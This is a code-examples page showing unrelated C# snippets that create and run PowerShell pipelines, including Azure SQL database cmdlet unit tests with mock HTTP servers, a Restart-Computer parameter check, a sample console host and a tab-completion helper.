                        @"-DatabaseName testdb3 " +
                        @"-Force");
                }

                Assert.AreEqual(0, powershell.Streams.Error.Count, "Errors during run!");
                Assert.AreEqual(0, powershell.Streams.Warning.Count, "Warnings during run!");
                powershell.Streams.ClearStreams();
            }
        }
Exemplo n.º 55
0
        /// <summary>
        /// BeginProcessing method.
        /// </summary>
        protected override void BeginProcessing()
        {
            if (ParameterSetName.Equals(DefaultParameterSet, StringComparison.OrdinalIgnoreCase))
            {
                if (WsmanAuthentication != null && (_isDcomAuthenticationSpecified || _isImpersonationSpecified))
                {
                    string errorMsg = StringUtil.Format(ComputerResources.ParameterConfliction,
                                                        ComputerResources.ParameterUsage);
                    InvalidOperationException ex = new InvalidOperationException(errorMsg);
                    ThrowTerminatingError(new ErrorRecord(ex, "ParameterConfliction", ErrorCategory.InvalidOperation, null));
                }

                bool usingDcom = Protocol.Equals(ComputerWMIHelper.DcomProtocol, StringComparison.OrdinalIgnoreCase);
                bool usingWsman = Protocol.Equals(ComputerWMIHelper.WsmanProtocol, StringComparison.OrdinalIgnoreCase);

                if (_isProtocolSpecified && usingDcom && WsmanAuthentication != null)
                {
                    string errorMsg = StringUtil.Format(ComputerResources.InvalidParameterForDCOM,
                                                        ComputerResources.ParameterUsage);
                    InvalidOperationException ex = new InvalidOperationException(errorMsg);
                    ThrowTerminatingError(new ErrorRecord(ex, "InvalidParameterForDCOM", ErrorCategory.InvalidOperation, null));
                }

                if (_isProtocolSpecified && usingWsman && (_isDcomAuthenticationSpecified || _isImpersonationSpecified))
                {
                    string errorMsg = StringUtil.Format(ComputerResources.InvalidParameterForWSMan,
                                                        ComputerResources.ParameterUsage);
                    InvalidOperationException ex = new InvalidOperationException(errorMsg);
                    ThrowTerminatingError(new ErrorRecord(ex, "InvalidParameterForWSMan", ErrorCategory.InvalidOperation, null));
                }

                if (!_isProtocolSpecified && WsmanAuthentication != null)
                {
                    // Change the protocol to be WSMan if the WsmanAuthentication is specified
                    Protocol = ComputerWMIHelper.WsmanProtocol;
                }
            }

#if CORECLR
            if (this.MyInvocation.BoundParameters.ContainsKey("DcomAuthentication"))
            {
                string errMsg = StringUtil.Format(ComputerResources.InvalidParameterForCoreClr, "DcomAuthentication");
                PSArgumentException ex = new PSArgumentException(errMsg, ComputerResources.InvalidParameterForCoreClr);
                ThrowTerminatingError(new ErrorRecord(ex, "InvalidParameterForCoreClr", ErrorCategory.InvalidArgument, null));
            }

            if (this.MyInvocation.BoundParameters.ContainsKey("Impersonation"))
            {
                string errMsg = StringUtil.Format(ComputerResources.InvalidParameterForCoreClr, "Impersonation");
                PSArgumentException ex = new PSArgumentException(errMsg, ComputerResources.InvalidParameterForCoreClr);
                ThrowTerminatingError(new ErrorRecord(ex, "InvalidParameterForCoreClr", ErrorCategory.InvalidArgument, null));
            }

            // DCOM Authentication is not supported for CoreCLR. Throw an error
            // and request that the user specify WSMan Authentication.
            if (_isDcomAuthenticationSpecified || 
                Protocol.Equals(ComputerWMIHelper.DcomProtocol, StringComparison.OrdinalIgnoreCase))
            {
                InvalidOperationException ex = new InvalidOperationException(ComputerResources.InvalidParameterDCOMNotSupported);
                ThrowTerminatingError(new ErrorRecord(ex, "InvalidParameterDCOMNotSupported", ErrorCategory.InvalidOperation, null));
            }

            // TODO:CORECLR This should be re-visited if we decide to add double hop remoting to CoreCLR (outgoing connections)
            if (ParameterSetName.Equals(AsJobParameterSet, StringComparison.OrdinalIgnoreCase))
            {
                InvalidOperationException ex = new InvalidOperationException(ComputerResources.InvalidParameterSetAsJob);
                ThrowTerminatingError(new ErrorRecord(ex, "InvalidParameterSetAsJob", ErrorCategory.InvalidOperation, null));
            }
#endif

            // Timeout, For, Delay, Progress cannot be present if Wait is not present
            if ((_timeoutSpecified || _waitForSpecified || _delaySpecified) && !Wait)
            {
                InvalidOperationException ex = new InvalidOperationException(ComputerResources.RestartComputerInvalidParameter);
                ThrowTerminatingError(new ErrorRecord(ex, "RestartComputerInvalidParameter", ErrorCategory.InvalidOperation, null));
            }

            if (Wait)
            {
                _activityId = (new Random()).Next();
                if (_timeout == -1 || _timeout >= int.MaxValue / 1000)
                {
                    _timeoutInMilliseconds = int.MaxValue;
                }
                else
                {
                    _timeoutInMilliseconds = _timeout * 1000;
                }

                // We don't support combined service types for now
                switch (_waitFor)
                {
                    case WaitForServiceTypes.Wmi:
                    case WaitForServiceTypes.WinRM:
                        break;
                    case WaitForServiceTypes.PowerShell:
                        _powershell = System.Management.Automation.PowerShell.Create();
                        _powershell.AddScript(TestPowershellScript);
                        break;
                    default:
                        InvalidOperationException ex = new InvalidOperationException(ComputerResources.NoSupportForCombinedServiceType);
                        ErrorRecord error = new ErrorRecord(ex, "NoSupportForCombinedServiceType", ErrorCategory.InvalidOperation, (int)_waitFor);
                        ThrowTerminatingError(error);
                        break;
                }
            }
        }
        /// <summary>
        /// Helper function to create the test databases.
        /// </summary>
        public static void CreateTestDatabasesWithCertAuth(System.Management.Automation.PowerShell powershell)
        {
            HttpSession testSession = MockServerHelper.DefaultSessionCollection.GetSession(
                "UnitTest.Common.CreateTestDatabasesWithCertAuth");

            ServerTestHelper.SetDefaultTestSessionSettings(testSession);

            testSession.RequestValidator =
                new Action<HttpMessage, HttpMessage.Request>(
                    (expected, actual) =>
                    {
                        Assert.AreEqual(expected.RequestInfo.Method, actual.Method);
                        Assert.IsTrue(
                            actual.UserAgent.Contains(ApiConstants.UserAgentHeaderValue),
                            "Missing proper UserAgent string.");
                    });

            using (AsyncExceptionManager exceptionManager = new AsyncExceptionManager())
            {
                Collection<PSObject> database1, database2, database3;
                using (new MockHttpServer(
                    exceptionManager,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    testSession))
                {
                    database1 = powershell.InvokeBatchScript(
                        @"$testdb1 = New-AzureSqlDatabase " +
                        @"-ServerName $serverName " +
                        @"-DatabaseName testdb1 " +
                        @"-Force",
                        @"$testdb1");
                    database2 = powershell.InvokeBatchScript(
                        @"$testdb2 = New-AzureSqlDatabase " +
                        @"-ServerName $serverName " +
                        @"-DatabaseName testdb2 " +
                        @"-Collation Japanese_CI_AS " +
                        @"-Edition Standard " +
                        @"-MaxSizeGB 5 " +
                        @"-Force",
                        @"$testdb2");
                    database3 = powershell.InvokeBatchScript(
                        @"$testdb3 = New-AzureSqlDatabase " +
                        @"-ServerName $serverName " +
                        @"-DatabaseName testdb3 " +
                        @"-MaxSizeBytes 104857600 " +
                        @"-Force",
                        @"$testdb3");
                }

                Assert.AreEqual(0, powershell.Streams.Error.Count, "Errors during run!");
                Assert.AreEqual(0, powershell.Streams.Warning.Count, "Warnings during run!");
                powershell.Streams.ClearStreams();

                Services.Server.Database database = database1.Single().BaseObject as Services.Server.Database;
                Assert.IsTrue(database != null, "Expecting a Database object");
                DatabaseTestHelper.ValidateDatabaseProperties(database, "testdb1", "Standard", 250, 268435456000L, "SQL_Latin1_General_CP1_CI_AS", "S0", false, DatabaseTestHelper.StandardS0SloGuid);

                database = database2.Single().BaseObject as Services.Server.Database;
                Assert.IsTrue(database != null, "Expecting a Database object");
                DatabaseTestHelper.ValidateDatabaseProperties(database, "testdb2", "Standard", 250, 268435456000L, "Japanese_CI_AS", "S0", false, DatabaseTestHelper.StandardS0SloGuid);

                database = database3.Single().BaseObject as Services.Server.Database;
                Assert.IsTrue(database != null, "Expecting a Database object");
                DatabaseTestHelper.ValidateDatabaseProperties(database, "testdb3", "Standard", 0, 104857600L, "SQL_Latin1_General_CP1_CI_AS", "S0", false, DatabaseTestHelper.StandardS0SloGuid);
            }
        }
Exemplo n.º 57
0
        /// <summary>
        /// A helper class that builds and executes a pipeline that writes 
        /// to the default output path. Any exceptions that are thrown are 
        /// just passed to the caller. Since all output goes to the default 
        /// outter, this method does not return anything.
        /// </summary>
        /// <param name="cmd">The script to run.</param>
        /// <param name="input">Any input arguments to pass to the script. 
        /// If null then nothing is passed in.</param>
        private void executeHelper(string cmd, object input)
        {
            // Ignore empty command lines.
            if (String.IsNullOrEmpty(cmd))
            {
                return;
            }

            // Create the pipeline object and make it available to the
            // ctrl-C handle through the currentPowerShell instance
            // variable.
            lock (this.instanceLock)
            {
                this.currentPowerShell = PowerShell.Create();
            }

            // Add a script and command to the pipeline and then run the pipeline. Place
            // the results in the currentPowerShell variable so that the pipeline can be
            // stopped.
            try
            {
                this.currentPowerShell.Runspace = this.myRunSpace;

                this.currentPowerShell.AddScript(cmd);

                // Add the default outputter to the end of the pipe and then call the
                // MergeMyResults method to merge the output and error streams from the
                // pipeline. This will result in the output being written using the PSHost
                // and PSHostUserInterface classes instead of returning objects to the host
                // application.
                this.currentPowerShell.AddCommand("out-default");
                this.currentPowerShell.Commands.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output);

                // If there is any input pass it in, otherwise just invoke the
                // the pipeline.
                if (input != null)
                {
                    this.currentPowerShell.Invoke(new object[] { input });
                }
                else
                {
                    this.currentPowerShell.Invoke();
                }
            }
            finally
            {
                // Dispose the PowerShell object and set currentPowerShell to null.
                // It is locked because currentPowerShell may be accessed by the
                // ctrl-C handler.
                lock (this.instanceLock)
                {
                    this.currentPowerShell.Dispose();
                    this.currentPowerShell = null;
                }
            }
        }
        public void NewAzureSqlDatabaseWithSqlAuthDuplicateName()
        {
            using (System.Management.Automation.PowerShell powershell =
                System.Management.Automation.PowerShell.Create())
            {
                // Create a context
                NewAzureSqlDatabaseServerContextTests.CreateServerContextSqlAuth(
                    powershell,
                    "$context");

                // Issue another create testdb1, causing a failure
                HttpSession testSession = MockServerHelper.DefaultSessionCollection.GetSession(
                    "UnitTest.NewAzureSqlDatabaseWithSqlAuthDuplicateName");
                DatabaseTestHelper.SetDefaultTestSessionSettings(testSession);
                testSession.RequestValidator =
                    new Action<HttpMessage, HttpMessage.Request>(
                    (expected, actual) =>
                    {
                        Assert.AreEqual(expected.RequestInfo.Method, actual.Method);
                        Assert.AreEqual(expected.RequestInfo.UserAgent, actual.UserAgent);
                        switch (expected.Index)
                        {
                            // Request 0-1: Create testdb1
                            case 0:
                            case 1:
                                DatabaseTestHelper.ValidateHeadersForODataRequest(
                                    expected.RequestInfo,
                                    actual);
                                break;
                            default:
                                Assert.Fail("No more requests expected.");
                                break;
                        }
                    });

                using (AsyncExceptionManager exceptionManager = new AsyncExceptionManager())
                {
                    Services.Server.ServerDataServiceSqlAuth context;
                    using (new MockHttpServer(
                        exceptionManager,
                        MockHttpServer.DefaultServerPrefixUri,
                        testSession))
                    {
                        Collection<PSObject> ctxPsObject = powershell.InvokeBatchScript("$context");
                        context = (Services.Server.ServerDataServiceSqlAuth)ctxPsObject.First().BaseObject;
                        powershell.InvokeBatchScript(
                            @"New-AzureSqlDatabase " +
                            @"-Context $context " +
                            @"-DatabaseName testdb1 " +
                            @"-Force");
                    }
                }

                Assert.AreEqual(1, powershell.Streams.Error.Count, "Expecting errors");
                Assert.AreEqual(2, powershell.Streams.Warning.Count, "Expecting tracing IDs");
                Assert.AreEqual(
                    "Database 'testdb1' already exists. Choose a different database name.",
                    powershell.Streams.Error.First().Exception.Message,
                    "Unexpected error message");
                Assert.IsTrue(
                    powershell.Streams.Warning.Any(w => w.Message.StartsWith("Client Session Id")),
                    "Expecting Client Session Id");
                Assert.IsTrue(
                    powershell.Streams.Warning.Any(w => w.Message.StartsWith("Client Request Id")),
                    "Expecting Client Request Id");
                powershell.Streams.ClearStreams();
            }
        }
Exemplo n.º 59
0
        /// <summary>
        /// Initializes a new instance of the PSListenerConsoleSample class.
        /// </summary>
        public PSListenerConsoleSample()
        {
            // Create the host and runspace instances for this interpreter.
            // Note that this application does not support console files so
            // only the default snap-ins will be available.
            this.myHost = new MyHost(this);
            this.myRunSpace = RunspaceFactory.CreateRunspace(this.myHost);
            this.myRunSpace.Open();

            // Create a PowerShell object to run the commands used to create
            // $profile and load the profiles.
            lock (this.instanceLock)
            {
                this.currentPowerShell = PowerShell.Create();
            }

            try
            {
                this.currentPowerShell.Runspace = this.myRunSpace;

                PSCommand[] profileCommands = Microsoft.Samples.PowerShell.Host.HostUtilities.GetProfileCommands("SampleHost06");
                foreach (PSCommand command in profileCommands)
                {
                    this.currentPowerShell.Commands = command;
                    this.currentPowerShell.Invoke();
                }
            }
            finally
            {
                // Dispose the PowerShell object and set currentPowerShell
                // to null. It is locked because currentPowerShell may be
                // accessed by the ctrl-C handler.
                lock (this.instanceLock)
                {
                    this.currentPowerShell.Dispose();
                    this.currentPowerShell = null;
                }
            }
        }
Exemplo n.º 60
0
		private CommandCompletion GetNewCompletionResults(string input)
		{
			CommandCompletion commandCompletion;
			try
			{
				Runspace runspace = this.parent.Runspace;
				if (runspace as LocalRunspace == null || runspace.ExecutionContext.EngineHostInterface.NestedPromptCount <= 0)
				{
                    this.commandCompletionPowerShell = System.Management.Automation.PowerShell.Create();
					this.commandCompletionPowerShell.Runspace = runspace;
				}
				else
				{
                    this.commandCompletionPowerShell = System.Management.Automation.PowerShell.Create(RunspaceMode.CurrentRunspace);
				}
				commandCompletion = CommandCompletion.CompleteInput(input, input.Length, null, this.commandCompletionPowerShell);
			}
			finally
			{
				this.commandCompletionPowerShell = null;
			}
			return commandCompletion;
		}